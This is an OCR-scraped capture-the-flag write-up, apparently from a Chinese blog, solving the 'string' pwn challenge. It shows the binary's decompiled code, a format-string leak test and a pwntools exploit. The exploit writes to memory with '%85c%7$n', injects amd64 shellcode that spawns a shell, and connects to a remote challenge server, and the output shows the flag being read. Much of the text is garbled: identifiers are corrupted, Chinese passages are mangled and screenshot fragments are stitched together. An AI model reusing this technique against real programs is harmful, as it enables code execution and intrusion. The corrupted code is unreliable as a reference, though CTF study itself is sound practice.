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checksec:

root@at-ubuntu:/home/atfwus/rop# checksec string
[*]1 '/home/atfwus/rop/string'’

Arch: amdb4-64-1little

RELRO:

Stack:

NX:

PIE:
root@at-ubuntu:/home/atfwus/rop# |

64fi i, RAASLREA IS
BE IR


https://atfwus.blog.csdn.net
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://so.csdn.net/so/search/s.do?q=CTF&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=PWN&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25A0%25BC%25E5%25BC%258F%25E5%258C%2596%25E5%25AD%2597%25E7%25AC%25A6%25E4%25B8%25B2%25E6%25BC%258F%25E6%25B4%259E&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%25BC%258F%25E6%25B4%259E%25E5%2588%25A9%25E7%2594%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E6%2594%25BB%25E9%2598%25B2%25E4%25B8%2596%25E7%2595%258C&t=blog&o=vip&s=&l=&f=&viparticle=
https://blog.csdn.net/ATFWUS/article/details/104620752
https://blog.csdn.net/atfwus/category_9724038.html
https://blog.csdn.net/atfwus/category_9761866.html
https://pan.baidu.com/s/1E2AYj1OK3ERkvq3EBEHP9A

1 inté4 __ fastcall main(__int64 al, char **a2, char **a3)
2/

3| _DWORD *v3; // rax

4| __inte4 v4; // ST18.8

5

6| setbuf(stdout, eLL);

7| alarm(@x3Cu);

3| sub_4@@996(66LL, OLL);

9] v3 = malloc(8ulLL);
18| v4 = (__inte4)vs;
11| *v3 = 68;
12| v3[1] = 85;
13| puts("we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
14| puts("we will tell you two secret ...");
15| printf("secret[0] is %x\n", v4, a2);
16| printf("secret[1] is %x\n", v4 + 4);
17| puts(“"do not tell anyone ");
18| sub_4eep72(v4);
19| puts("The End..... Really?");
28| return BLL;
21[}

llunsigned __int64 __ fastcall sub_400D72(__int64 al)
2{

3| char s; // [rsp+16h] [rbp-28h]

4| unsigned __inté4 v3; // [rsp+28h] [rbp-8h]
5

6| v3 = __readfsqword(@ex28u);

7| puts("What should your character's name be:");
8| _isoc99_scanf((__int64)"%s", (__int64)&s); |
9| if ( strlen(&s) <= @xC )

10| {

11 puts(“"Creating a new player.");

12 sub_400A7D();

13 sub_400BB9();

14 sub_400CA6( (_DWORD *)al);

15 }

16| else

17| {

18 puts("Hei! What's up!");

19| }

28| return __readfsqword(@x28u) "~ v3;
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unsigned _ int64 sub_4@0A7D()
{
char s1; // [rsp+@h] [rbp-16h]
unsigned _ inté4 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(ex28u);
puts(" This is a famous but quite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs");
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts(“room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts(“"one corner you notice a fireplace.");
puts(“"There are two obvious exits: east, up.");
puts("But strange thing is ,no one there.");
puts("So, where you will go?east or up?:");
while ( 1 )
{
_is0c99_scanf((__inted)"%s", (__inte4)&sl);
if ( !strcmp(&sl, "east™) || !strcmp(&sl, "east™) )
break;
puts("hei! I'm secious!");
puts("So, where you will go?:");
if ( strcmp(&s1l, "east") )
if ( !strcmp(&s1l, "up") )
sub_4ee9DD();
puts("YOU KNOW WHAT YOU DO?");
exit(e);
¥
return __readfsqword(@x28u) ~ v2;
}
Linsigned __int64 sub_480BB9()
{
int v1; // [rsp+4h] [rbp-7Ch]
__inte4 v2; // [rsp+8h] [rbp-78h]
char format; // [rsp+l8h] [rbp-786h]
unsigned __inté4 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(@x28u);
v2 = @LL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly");
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts("go into there(1l), or leave(®)?:");
_is0c99_scanf((__inte4)"%d", (__int64)&v1);
if (vi==1)
{
puts("A voice heard in your mind"); _—
puts("'Give me an address'"); Et‘f«b?.ﬁ%z ﬂﬁ_l
_is0c99_scanf((__inte4)"%1ld", (__int64)&v2);
puts("And, you wish is:");
_is0c99_scanf((__inte4)"%s", (__inté ;
puts("Your wish is"); —
printf(&format, &format);
puts("I hear it, I hear it....");
¥
return __readfsqword(@x28u) ~ v4;
I




unsigned __int64 _ fastcall sub_400CA6(_DWORD *al)
{
void *vi1; // rsi
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(@x28u);

puts("Dragon say: HaHa! you were supposed to have a normal");

9| puts("RPG game, but I have changed it! you have no weapon and ");

18| puts(“"skill! you could not defeat me !");

11| puts("That's sound terrible! you meet final boss!but you level is ONE!™);

12| if ( *al == al[l1l] )

13 { \‘ .\’\I U
14 puts("Wizard: I will help you! USE YOU SPELL"); :I?’rv Jiﬁﬁﬁ@ﬁ*ﬁﬁ'
15 vl = mmap(eLL, exleeeuLL, 7, 33, -1, OLL);

16 read(@, vl, ©x1@euLL);

17 ((void (__fastcall *)(_QWORD, void *))vi)(eLL, v1);

18| }

19| return __readfsqword(@x28u) ~ v3;
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2 AT L PATIX BAAS I Sk E  a=a1], RATAWIEI LK, K, aksigiv3, *a=68, a[1]=85, 1%
¥ HR A A AR AME SOX P AME LT, IR R AHE R . HIRATRIEREHITENH T afyitbk, @&F
a[1]r ik .

v3 = malloc(8uLL);

vd = (__inte4)v3;

*v3 = 68; —

v3[1] = 85;

puts(“we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts(“we will tell you two secret ..."); ~

printf(“secret[@] is %x\n", v4, a2);

printf(“secret[1] is %x\n", v4 + 4);

puts(“do not tell anyone ");

sub_480D72(v4); -
puts(“The End..... Really?");
return 6LL;
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go into there(l), or leave(0)?:

1

A voice heard in your mind

'Give me an addresse

1

And, you wish is:

AAAA . %08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
Your wish is

AAAA . T7dd07e3.T7dd18cO.T7af4154.0000000c. 00000000, T7/dcc2al.00000001.41414141.30252e78I hear it, I hear it....

Dragon say: HaHa! you were supposed to have a normal

RPG game, but I have changed it! you have no weapon and

skill! you could not defeat me !

That's sound terrible! you meet final boss'!but you level is ONE! csdn.net/ ATEWUS
The End..... Really? SRR
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0x03.exp

##!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",47547)
#r=process('./string")
#context.log_level = "debug"

r.recvuntil("secret[0] is ")
v3_0_addr=int(r.recv(7),16)
print(v3_0_addr)

.sendlineafter("What should your character's name be:","ATFWUS")
.sendlineafter("So, where you will go?east or up?:","east")
.sendlineafter("go into there(1), or leave(@)?:","1")

"'Give me an address'",str(v3_0_addr))

b 2 e B |

.sendlineafter(

payload="%85c%7$n"
#gdb.attach(r)
r.sendlineafter("And, you wish is:",payload)

#tshellcode="\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5F\x52\x57\x54\x5e\x0f\x0
shellcode=asm(shellcraft.amd64.sh(),arch="amd64")

r.sendlineafter("Wizard: I will help you! USE YOU SPELL",shellcode)

r.interactive()



root@at-ubuntu:/home/atfwus/rop# python expstring.py

[+] Opening connection to 111.198.29.45 on port 47547: Done
10338320

[*] Switching to interactive mode

¢ cat flag
cyberpeace{5ad191933b8cdebc9T3T8d7fablf0laa}
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